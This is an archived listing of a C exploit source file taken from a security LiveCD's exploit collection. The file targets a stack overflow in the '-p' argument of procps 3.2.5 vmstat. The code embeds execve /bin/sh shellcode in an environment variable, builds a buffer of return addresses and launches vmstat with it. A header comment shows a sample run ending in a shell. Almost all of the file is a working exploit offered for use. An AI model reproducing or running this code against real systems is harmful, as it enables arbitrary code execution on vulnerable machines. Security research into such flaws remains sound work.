home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / vmstat-p0c.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-05-24  |  1.3 KB  |  52 lines
  1. /*
  2. VULNERABLE PROGRAM:
  3. --=[ procps 3.2.5 vmstat '-p' argument stack overflow
  4. --=[ http://procps.sourceforge.net/
  5. --=[ Advisory: http://www.danitrous.org/code/PoCs/vmstat_adv.txt
  6.  
  7. EXPLOIT:
  8. --=[ Local env exploit [no suid] by nitrous <nitrous@danitrous.org>
  9. --=[ Tested on Ubuntu Linux 2.6.8.1-3-386
  10.  
  11. nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o vmstat-p0c
  12. nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
  13. -=[ Jumping to: 0xbfffffc9
  14.  
  15. Partition was not found
  16. sh-2.05b$ id
  17. uid=1000(nitrous) gid=1000(nitrous)
  18.  
  19. --=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
  20. dex, benn, cryogen, JSS... blah blah blah.
  21. */
  22.  
  23. #include<stdio.h>
  24. #include<string.h>
  25.  
  26. #define BUFFER_SIZE 32
  27. #define VMSTAT_PATH "/usr/bin/vmstat"
  28.  
  29. char nitrous_egg[]=
  30. "\xeb\x14\x5b\x31\xd2\x88\x53\x07"
  31. "\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
  32. "\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
  33. "\xff\xff\xff/bin/sh"; //jmp-call execve()
  34.  
  35. int main()
  36. {
  37. char *payl0ad= (char *)malloc(BUFFER_SIZE);
  38. char *envir0n[2]= {nitrous_egg,NULL};
  39.  
  40. unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);
  41.  
  42. printf("-=[ Jumping to: 0x%x\n\n", retaddr);
  43.  
  44. int x;
  45. for(x=0; x<BUFFER_SIZE; x+=4)
  46. *(unsigned long *)&payl0ad[x]= retaddr;
  47.  
  48. execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);
  49.  
  50. return 0;
  51. }
  52.